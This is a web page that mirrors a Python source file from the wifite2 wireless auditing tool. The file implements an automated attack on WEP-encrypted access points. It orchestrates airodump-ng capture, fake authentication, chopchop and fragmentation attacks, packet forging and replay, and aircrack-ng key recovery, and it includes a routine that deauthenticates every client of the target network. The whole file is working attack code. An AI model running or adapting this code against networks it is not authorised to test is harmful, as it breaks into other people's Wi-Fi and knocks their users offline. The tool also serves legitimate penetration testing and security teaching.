Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/attack/wep.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from ..model.attack import Attack
5
from ..tools.airodump import Airodump
6
from ..tools.aireplay import Aireplay, WEPAttackType
7
from ..tools.aircrack import Aircrack
8
from ..tools.ifconfig import Ifconfig
9
from ..config import Configuration
10
from ..util.color import Color
11
from ..util.input import raw_input
12
from ..model.wep_result import CrackResultWEP
13
14
import time
15
16
class AttackWEP(Attack):
17
'''
18
Contains logic for attacking a WEP-encrypted access point.
19
'''
20
21
fakeauth_wait = 5 # TODO: Configuration?
22
23
def __init__(self, target):
24
super(AttackWEP, self).__init__(target)
25
self.crack_result = None
26
self.success = False
27
28
def run(self):
29
'''
30
Initiates full WEP attack.
31
Including airodump-ng starting, cracking, etc.
32
Returns: True if attack is successful, false otherwise
33
'''
34
35
aircrack = None # Aircrack process, not started yet
36
fakeauth_proc = None
37
replay_file = None
38
airodump_target = None
39
40
previous_ivs = 0
41
current_ivs = 0
42
total_ivs = 0
43
keep_ivs = Configuration.wep_keep_ivs
44
45
# Clean up previous WEP sessions
46
if keep_ivs:
47
Airodump.delete_airodump_temp_files('wep')
48
49
attacks_remaining = list(Configuration.wep_attacks)
50
while len(attacks_remaining) > 0:
51
attack_name = attacks_remaining.pop(0)
52
# BIG try-catch to capture ctrl+c
53
try:
54
# Start Airodump process
55
with Airodump(channel=self.target.channel,
56
target_bssid=self.target.bssid,
57
ivs_only=True, # Only capture IVs packets
58
skip_wps=True, # Don't check for WPS-compatibility
59
output_file_prefix='wep',
60
delete_existing_files=not keep_ivs) as airodump:
61
62
Color.clear_line()
63
Color.p('\r{+} {O}waiting{W} for target to appear...')
64
airodump_target = self.wait_for_target(airodump)
65
66
fakeauth_proc = None
67
if self.fake_auth():
68
# We successfully authenticated!
69
# Use our interface's MAC address for the attacks.
70
client_mac = Ifconfig.get_mac(Configuration.interface)
71
# Keep us authenticated
72
fakeauth_proc = Aireplay(self.target, 'fakeauth')
73
elif len(airodump_target.clients) == 0:
74
# Failed to fakeauth, can't use our MAC.
75
# And there are no associated clients. Use one and tell the user.
76
Color.pl('{!} {O}there are no associated clients{W}')
77
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
78
' without fake-authentication or associated clients{W}')
79
client_mac = None
80
else:
81
# Fakeauth failed, but we can re-use an existing client
82
client_mac = airodump_target.clients[0].station
83
84
# Convert to WEPAttackType.
85
wep_attack_type = WEPAttackType(attack_name)
86
87
# Start Aireplay process.
88
aireplay = Aireplay(self.target,
89
wep_attack_type,
90
client_mac=client_mac,
91
replay_file=replay_file)
92
93
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
94
last_ivs_count = 0
95
96
# Loop until attack completes.
97
98
while True:
99
airodump_target = self.wait_for_target(airodump)
100
101
if client_mac is None and len(airodump_target.clients) > 0:
102
client_mac = airodump_target.clients[0].station
103
104
if keep_ivs and current_ivs > airodump_target.ivs:
105
# We now have less IVS than before; A new attack must have started.
106
# Track how many we have in-total.
107
previous_ivs += total_ivs
108
current_ivs = airodump_target.ivs
109
total_ivs = previous_ivs + current_ivs
110
111
status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)
112
if fakeauth_proc:
113
if fakeauth_proc and fakeauth_proc.status:
114
status += ', {G}fakeauth{W}'
115
else:
116
status += ', {R}no-auth{W}'
117
if aireplay.status is not None:
118
status += ', %s' % aireplay.status
119
Color.clear_entire_line()
120
Color.pattack('WEP', airodump_target, '%s' % attack_name, status)
121
122
# Check if we cracked it.
123
if aircrack and aircrack.is_cracked():
124
(hex_key, ascii_key) = aircrack.get_key_hex_ascii()
125
bssid = airodump_target.bssid
126
if airodump_target.essid_known:
127
essid = airodump_target.essid
128
else:
129
essid = None
130
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name)
131
if aireplay: aireplay.stop()
132
if fakeauth_proc: fakeauth_proc.stop()
133
self.crack_result = CrackResultWEP(self.target.bssid,
134
self.target.essid, hex_key, ascii_key)
135
self.crack_result.dump()
136
137
Airodump.delete_airodump_temp_files('wep')
138
139
self.success = True
140
return self.success
141
142
if aircrack and aircrack.is_running():
143
# Aircrack is running in the background.
144
Color.p('and {C}cracking{W}')
145
146
# Check number of IVs, crack if necessary
147
if total_ivs > Configuration.wep_crack_at_ivs:
148
if not aircrack or not aircrack.is_running():
149
# Aircrack hasn't started yet. Start it.
150
ivs_files = airodump.find_files(endswith='.ivs')
151
ivs_files.sort()
152
if len(ivs_files) > 0:
153
if not keep_ivs:
154
ivs_files = ivs_files[-1] # Use most-recent .ivs file
155
aircrack = Aircrack(ivs_files)
156
157
elif Configuration.wep_restart_aircrack > 0 and \
158
aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
159
# Restart aircrack after X seconds
160
#Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
161
aircrack.stop()
162
ivs_files = airodump.find_files(endswith='.ivs')
163
ivs_files.sort()
164
if len(ivs_files) > 0:
165
if not keep_ivs:
166
ivs_files = ivs_files[-1] # Use most-recent .ivs file
167
aircrack = Aircrack(ivs_files)
168
169
170
if not aireplay.is_running():
171
# Some Aireplay attacks loop infinitely
172
if attack_name == 'chopchop' or attack_name == 'fragment':
173
# We expect these to stop once a .xor is created, or if the process failed.
174
175
replay_file = None
176
177
# Check for .xor file.
178
xor_file = Aireplay.get_xor()
179
if not xor_file:
180
# If .xor is not there, the process failed.
181
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
182
# XXX: For debugging
183
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
184
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
185
break
186
187
# If .xor exists, run packetforge-ng to create .cap
188
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
189
' generated a {C}.xor file{W}, {G}forging...{W}')
190
replay_file = Aireplay.forge_packet(xor_file,
191
airodump_target.bssid,
192
client_mac)
193
if replay_file:
194
Color.pl('{+} {C}forged packet{W},' +
195
' {G}replaying...{W}')
196
wep_attack_type = WEPAttackType('forgedreplay')
197
attack_name = 'forgedreplay'
198
aireplay = Aireplay(self.target,
199
'forgedreplay',
200
client_mac=client_mac,
201
replay_file=replay_file)
202
time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet)
203
continue
204
else:
205
# Failed to forge packet. drop out
206
break
207
else:
208
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
209
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
210
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
211
break # Continue to other attacks
212
213
# Check if IVs stopped flowing (same for > N seconds)
214
if airodump_target.ivs > last_ivs_count:
215
time_unchanged_ivs = time.time()
216
elif Configuration.wep_restart_stale_ivs > 0 and \
217
attack_name != 'chopchop' and \
218
attack_name != 'fragment':
219
stale_seconds = time.time() - time_unchanged_ivs
220
if stale_seconds > Configuration.wep_restart_stale_ivs:
221
# No new IVs within threshold, restart aireplay
222
aireplay.stop()
223
Color.pl('\n{!} restarting {C}aireplay{W} after' +
224
' {C}%d{W} seconds of no new IVs'
225
% stale_seconds)
226
aireplay = Aireplay(self.target, \
227
wep_attack_type, \
228
client_mac=client_mac, \
229
replay_file=replay_file)
230
time_unchanged_ivs = time.time()
231
last_ivs_count = airodump_target.ivs
232
233
time.sleep(1)
234
continue
235
# End of big while loop
236
# End of with-airodump
237
except KeyboardInterrupt:
238
if fakeauth_proc: fakeauth_proc.stop()
239
if len(attacks_remaining) == 0:
240
if keep_ivs:
241
Airodump.delete_airodump_temp_files('wep')
242
243
self.success = False
244
return self.success
245
246
if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
247
if keep_ivs:
248
Airodump.delete_airodump_temp_files('wep')
249
250
self.success = False
251
return self.success
252
253
except Exception as e:
254
Color.pexception(e)
255
continue
256
# End of big try-catch
257
# End of for-each-attack-type loop
258
259
if keep_ivs:
260
Airodump.delete_airodump_temp_files('wep')
261
262
self.success = False
263
return self.success
264
265
def user_wants_to_stop(self, current_attack, attacks_remaining, target):
266
'''
267
Ask user what attack to perform next (re-orders attacks_remaining, returns False),
268
or if we should stop attacking this target (returns True).
269
'''
270
if target is None:
271
Color.pl('')
272
return True
273
target_name = target.essid if target.essid_known else target.bssid
274
275
Color.pl('\n\n{!} {O}Interrupted')
276
Color.pl('{+} {W}Next steps:')
277
278
# Deauth clients & retry
279
attack_index = 1
280
Color.pl(' {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))
281
282
# Move onto a different WEP attack
283
for attack_name in attacks_remaining:
284
attack_index += 1
285
Color.pl(' {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))
286
287
# Stop attacking entirely
288
attack_index += 1
289
Color.pl(' {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)
290
while True:
291
answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))
292
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
293
Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)
294
continue
295
answer = int(answer)
296
break
297
298
if answer == 1:
299
# Deauth clients & retry
300
deauth_count = 1
301
Color.clear_entire_line()
302
303
Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
304
Aireplay.deauth(target.bssid, essid=target.essid)
305
306
attacking_mac = Ifconfig.get_mac(Configuration.interface)
307
for client in target.clients:
308
if attacking_mac.lower() == client.station.lower():
309
continue # Don't deauth ourselves.
310
311
Color.clear_entire_line()
312
Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)
313
314
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
315
deauth_count += 1
316
317
Color.clear_entire_line()
318
Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)
319
320
# Re-insert current attack to top of list of attacks remaining
321
attacks_remaining.insert(0, current_attack)
322
return False # Don't stop
323
elif answer == attack_index:
324
return True # Stop attacking
325
elif answer > 1:
326
# User selected specific attack: Re-order attacks based on desired next-step
327
attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
328
return False # Don't stop
329
330
331
def fake_auth(self):
332
'''
333
Attempts to fake-authenticate with target.
334
Returns: True if successful, False is unsuccessful.
335
'''
336
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
337
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
338
if fakeauth:
339
Color.pl(' {G}success{W}')
340
else:
341
Color.pl(' {R}failed{W}')
342
if Configuration.require_fakeauth:
343
# Fakeauth is required, fail
344
raise Exception(
345
'Fake-authenticate did not complete within' +
346
' %d seconds' % AttackWEP.fakeauth_wait)
347
else:
348
# Warn that fakeauth failed
349
Color.pl('{!} {O}' +
350
'unable to fake-authenticate with target' +
351
' (%s){W}' % self.target.bssid)
352
Color.pl('{!} continuing attacks because' +
353
' {G}--require-fakeauth{W} was not set')
354
return fakeauth
355
356
357
if __name__ == '__main__':
358
Configuration.initialize(True)
359
from ..model.target import Target
360
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
361
target = Target(fields)
362
wep = AttackWEP(target)
363
wep.run()
364
Configuration.exit_gracefully(0)
365
366
367